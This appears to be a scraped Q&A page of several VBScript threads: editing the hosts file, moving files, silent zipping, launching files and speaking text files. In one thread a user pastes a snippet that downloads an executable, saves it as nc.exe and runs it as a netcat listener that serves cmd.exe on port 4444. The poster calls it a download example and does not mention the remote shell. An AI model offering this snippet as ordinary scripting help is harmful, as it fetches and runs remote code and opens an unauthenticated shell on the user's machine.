Modify "C:\Windows\System32\drivers\etc\hosts" file using VBScript - vbscript

I want to append a line to C:\Windows\System32\drivers\etc\hosts using VBScript. I tried to read this file first using this code:
Set filestreamIN = CreateObject("Scripting.FileSystemObject").OpenTextFile("C:\Windows\System32\drivers\etc\hosts",2,true)
file = Split(filestreamIN.ReadAll(), vbCrLf)
for i = LBound(file) to UBound(file)
msgbox file(i)
Next
filestreamIN.Close()
Set filestreamIN = Nothing
But I got an error in the second line: Bad file mode. I ran it using this command:
cscript "D:\Project\AXA\AXADEPROJ-867\add host.vbs"
with cmd being run as an administrator. Any help would be great.

Open the file for appending, and simply output what you want. It will automatically be appended.
Set oFSO = CreateObject("Scripting.FileSystemObject")
Set oHosts = oFSO.GetFile("C:\Windows\System32\drivers\etc\hosts")
WScript.Echo oHosts.attributes
Set fileAPPEND = _
oFSO.OpenTextFile("C:\Windows\System32\drivers\etc\hosts", 8, true)
fileAPPEND.Write("192.168.0.1 MyMachine")
fileAPPEND.Close()
Set fileAPPEND = Nothing
Set oHosts = Nothing
Set oFSO = Nothing
Of course that does not address a potential issue of appending data that is already in the file.
If you want to read the file first, open it for reading, read the data, close it, then re-open it for appending and make your changes. There is no need to open it for writing.
If you want to edit the file, read it in, close it, reopen it for writing, and write out the edited data.

C:\Windows\System32\drivers\etc is a directory.

here is the bat file inc case you need
type "%windir%\system32\drivers\etc\hosts" | find /i "WEBSITE1" || echo 10.0.0.0 WEBSITE1 >> "%windir%\system32\drivers\etc\hosts"
type "%windir%\system32\drivers\etc\hosts" | find /i "SERVER1" || echo 10.0.0.0 SERVER1 >> "%windir%\system32\drivers\etc\hosts"

Related

Move command in VBScript destination is program file (x86) "changed to download to (x86)

Please hold all responses. Just found something.
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = CreateObject("WScript.Shell")
URL = "http://www.mikemurr.com/example.exe" 'Where to download the file from
FILENAME = "nc.exe" 'Name to save the file (on the local system)
RUNCMD = "nc.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile FILENAME, 2
shell_obj.run RUNCMD
So my many lines of vbs, and strings it will open (or not) along the way currently has a vbs that opens an url to download something with instructions on where to save, and than when done, moves from download folder to programs (x86) but it looks like i found something that will download the file to (x86) for me. I will see what it takes to download to special folder.
I do know my next struggle will be getting the vbs to wait.
In dos
start/wait drive:\path\file.exe
waits for the install to finish before moving on to next task.
Set WshShell = WScript.CreateObject("Wscript.Shell")
MsgBox "1:1"
Sub2
Sub3
Sub Sub2()
WshShell.Run "cscript //nologo Sub2.vbs", 1, True
End Sub
Sub Sub3()
WshShell.Run "cscript //nologo Sub3.vbs", 1, True
End Sub
Has me creating many vbs files to run in order, which I haven't tested yet. So I don't know if each one will wait till the program has finished installing or if I need to create a loop to see if the exe is still running.
I do have a "learning vbs" folder with examples to modify to build from. I'm expanding as I learn and testing.
I can't move a file from desktop to program file (X86) due to errors
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath("Program Files (x86)", "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
Error mismatch files
And if I remove "" around program files (x86) for destination
Set sh = CreateObject("WScript.Shell")
desktop = sh.SpecialFolders("Desktop")
Program Files (x86) = sh.SpecialFolders("Program Files (x86)")
Set fso = CreateObject("Scripting.FileSystemObject")
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
destination = fso.BuildPath(Program Files (x86), "\path\sub folder")
fso.MoveFile source & "\*", destination & "\"
I get ejected ) error. What am I missing?
EDITING: From response below
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".
Also, your command tries to move the content of the folder "file to move"
MY COMMENT:
No, "file to move" fallowed by 'not sure if I should include extension is the name of the file (i.e myfile.extension) not "folder" file to move. The folder is "desktop"
desktop = sh.SpecialFolders("Desktop")
and
source = fso.BuildPath(desktop, "file to move")
'not sure if I need to add extension
thus do i put
source = fso.BuildPath(desktop, "file to move.extension")
I'm not looking for someone to write the code for me. I have tried the %path% thing that works in dos (i.e %userprofile%) in vbs before and got stuck so to see
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
has me scratching my head. Even with the expand command.
Doing some testing. Will edit with update. Sorry for late response. Weekend hobby project thing.
As has already been pointed out, Program Files (x86) = ... isn't valid syntax. Variable names must not contain spaces, and parentheses are only allowed when declaring array variables. Also, the SpecialFolders collection does not have a member "Program Files (x86)".
Expand the respective environment variable instead:
Set sh = CreateObject("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
src = fso.BuildPath(sh.SpecialFolders("Desktop"), "file to move")
dst = sh.ExpandEnvironmentStrings("%ProgramFiles(x86)%\path\sub folder")
fso.MoveFile src & "\*", dst & "\"
Also, your command tries to move the content of the folder "file to move". Is that intentional? If you wanted to move a file " file to move" you'd have to change the last statement to fso.MoveFile src, dst & "\".

.VBS called by .BAT to create .zip - run silently (without interface)?

I have a .bat file which I use to back up files, which calls a .vbs and passes it two parameters, as follows:
...
ZipCMD.vbs "C:\Source" "C:\Destination\Data.zip"
...
ZipCMD.vbs contains the following code (Credit to garbb):
Set objArgs = WScript.Arguments
Set FS = CreateObject("Scripting.FileSystemObject")
InputFolder = FS.GetAbsolutePathName(objArgs(0))
ZipFile = FS.GetAbsolutePathName(objArgs(1))
CreateObject("Scripting.FileSystemObject").CreateTextFile(ZipFile, True).Write "PK" & Chr(5) & Chr(6) & String(18, vbNullChar)
Set objShell = CreateObject("Shell.Application")
Set source = objShell.NameSpace(InputFolder).Items
numfolderitems = objShell.NameSpace(InputFolder).Items.count
objShell.NameSpace(ZipFile).CopyHere(source)
' wait until number of items in zip file is the same as in the folder we are zipping up
' also sometimes gets errors when getting folder object for zip file, probably because it is in use? so ignore these
On Error Resume Next
Do while True
numitemsinzip = objShell.NameSpace(ZipFile).Items.count
If Err.Number = 0 and numitemsinzip = numfolderitems Then
Exit Do
ElseIf Err.Number <> 0 then
Err.Clear
End If
wScript.Sleep 10
Loop
On Error Goto 0
When the zipping is occurring, the usual windows 'Compressing files' interface appears, and shows the progress bar ticking along for a few minutes, before closing and disappearing.
Question: Can vbs run a compression silently (i.e. without interface)? -- I've read this article, which shows a flag, however this doesn't appear to work with copying to .zip, for some reason.
Follow-up question: If it's not possible for the .vbs which I'm using to achieve this, then is there an alternative way, which still utilises calling another file/process(?) (.vbs / .js, or other?) and feeding it the two paths from cmd?
Edit: I'm trying to achieve this without the use of third-party software (e.g. 7zip), and simply using native windows code.
Suppose I am almost 3 months late on this, but if you have powershell version 5 or later, you can simply create a powershell script:
Compress-Archive "C:\Source" "C:\Destination\Data.zip"
or from a batch file:
powershell Compress-Archive "C:\Source" "C:\Destination\Data.zip"
Also see this option

VBS WScript.Run fails after passing Exists test

In a couple of place in my code I check if the file exists (it does) then I try to Run the file as above, or get the DateLastModified, and get errors about file not found or invalid path. How can the script NOT see a file after confirming it exists?
I'm working up a .vbs script that tries to run an Access .mdb file. The WScript.Run command seems to choke on the filename, but putting a MsgBox() before that call to display the path allows Run to work properly. I don't want to display a popup.
Error is:
The directory name is invalid.
How is this possible and how can I get around it?
Here is code:
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
SET ws = WScript.CreateObject("WScript.Shell")
path = Chr(34) & LocalPath & AccessFileName & Chr(34)
if (fso.FileExists(LocalPath & AccessFileName)) THEN
'MsgBox(path) 'Uncommenting this line removes the error
ws.Run path 'This line errors
End If
Try to open your file with shell .InvokeVerb method:
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
If CreateObject("Scripting.FileSystemObject").FileExists(LocalPath & AccessFileName) Then
CreateObject("Shell.Application").Namespace(LocalPath).ParseName(AccessFileName).InvokeVerb
End If
UPD: Both ActiveX WScript.Shell and Shell.Application uses native windows shell to perform a file execution.The first one launches new process via WSH core located in wscript.exe, cscript.exe, wshom.ocx, jscript.dll, vbscript.dll, ets, .Run and .Exec methods of WsShell object provides wide control on the launched process, and second one located in Shell32.dll, uses .InvokeVerb method of IShellDispatch object, called without name, runs default verb equals to the windows explorer "open" command.In case of any issues connected to WSH, explorer might still works without any proplems. If it does, that is just a work-around, I can't say what's wrong definetely without close look.
Hello the following code worked for me.
Basically this code gets a folder object and loops through all files in a folder and checks if its the one that you named. This it runs the application.
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = Wscript.CreateObject("Wscript.Shell")
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
Set myFolder = fso.GetFolder(LocalPath)
For each myFile in myFolder.Files
If myFile.Name = AccessFileName Then
'Wscript.Echo myFile.Name
ws.Run myFolder.Path & "\" & myFile.Name
End If
Next
You can give this a shot. You probably do not need the quotes around the path, but I included it as a comment if you want to give it a shot. You just put quotes twice if you need to include a quote character in a string:
Set fso = CreateObject("Scripting.FileSystemObject")
AccessFileName = "App.mdb"
LocalPath = "C:\Folder\"
Set ws = WScript.CreateObject("WScript.Shell")
' path = """" & LocalPath & AccessFileName & """" <-- probably unnecessary
path = LocalPath & AccessFileName
If (fso.FileExists(path)) Then
Set file = fso.GetFile(path)
'MsgBox(path) 'Uncommenting this line removes the error
ws.Run file.Path 'This line errors
End If
This does not make any sense. Having a MsgBox line is altering the behavior of the program!!!
I feel it is probably some weird invisible character somewhere which is getting activated when you comment the line.
Try retyping the If block without the MsgBox in between.

Copy info from txt and paste in another vbscript

I'm trying to copy a line of text from a .txt -> paste into another file and save. The code I have keeps giving me errors at the paste section. I am completely new at this and learning as I go. My main goal is to paste the info after Host= in another file. But I need to get this down first.
Here is my code so far
///OPEN FILE and READ
Set objFileToRead = CreateObject("Scripting.FileSystemObject").OpenTextFile("C:\vnc\vnc.txt",1)
strFileText = objFileToRead.ReadAll()
objFileToRead.Close
' ///PASTE
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFileToWrite = objFSO.OpenTextFile("c:\vnc\testfile.vnc", 2)
objFileToWrite.Write strFileText
objFileToWrite.Close
This works for me:
'//OPEN FILE and READ
Set objFileToRead = CreateObject("Scripting.FileSystemObject").OpenTextFile("C:\vnc.txt",1)
strFileText = objFileToRead.ReadAll()
objFileToRead.Close
' ///PASTE
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFileToWrite = objFSO.OpenTextFile("c:\vnc.vnc", 2)
objFileToWrite.Write strFileText
objFileToWrite.Close
The only difference I made was remove the subfolder, and put in the root of C: The script worked.
I manually created both the source file and target file. If both files exist, and are not locked (as if you had it open / locked in another application), then the permissions of that VNC folder must be the issue.
If still your file permission denied you to write then you have to do change the security of that file using right click of mouse, and update advanced setting.

Output content of text file to computer voice via batch file

I have this batch file:
#echo off
echo StrText="Application created Successfully" > spk.vbs
echo set ObjVoice=CreateObject("SAPI.SpVoice") >> spk.vbs
echo ObjVoice.Speak StrText >> spk.vbs
start spk.vbs
This batch file creates spk.vbs in the same directory and outputs the text "Application created Successfully" with the computer voice.
Now I want the batch file to speak out the content of a text file given to it on the command line instead (%1). And the spk.vbs file should be created in the default Windows temporary directory instead. How can I do this?
***Edit 06.11.2012 20:24
Meanwhile I've discarded the idea of using a batch file script to generate a vbs script file and want to use the vbs script directly. Although I am an absolute beginner with VBS I created this one:
Set objFSO = CreateObject("Scripting.FileSystemObject")
strAFile = Wscript.Arguments(0)
Set objFile = objFSO.GetFile(strAFile)
If objFile.Size > 0 Then
Set objReadFile = objFSO.OpenTextFile(Wscript.Arguments(0), 1)
strContents = objReadFile.ReadAll
objReadFile.Close
set ObjVoice=CreateObject("SAPI.SpVoice")
ObjVoice.Speak strContents
Else
Wscript.Echo "The file is empty."
End If
It works, but probaly I've made a lot of mistakes. Can someone tell me how the vbs script can be optimized? Thank you!
***Edit 06.11.2012 22:19
After this worked a few times, now it does not work anymore: Now the computer speaker outputs only "Y" and the first character of the text file! Has this something to do with an error in my script?
***Edit 10.11.2012 19:32
Found the bug: The above script work only with ANSI-coded text-files. It does not work with UNICODE text-files! Why? How can I make it work with UNICODE text-files too?
Use the 4th parameter of the .OpenTextFile (or the 2nd parameter of the .OpenAsTextStream) method to specify whether to open the file as ASCII or Unicode (16).
I don't find any serious mistakes in your code snippet, but perhaps you want to consider:
using "Option Explicit" (explicitly)
checking whether the user passed at least one argument to the script
avoiding to refer to the same 'object' via different names/variables (strAFile, WScript.Arguments(0))
using .OpenAsTextStream as you have a File object already
avoiding 'magic numbers' (e.g. 1) by defining the appropriate constants (e.g. ForReading)
avoiding unnecessary variables (code you don't write can't be wrong)
E.g:
Set objReadFile = objFSO.OpenTextFile(WScript.Arguments(0), 1)
strContents = objReadFile.ReadAll
objReadFile.Close
==>
Const cnUnicode = -1
...
strContents = objFile.OpenAsTextStream(ForReading, cnUnicode).ReadAll()

Resources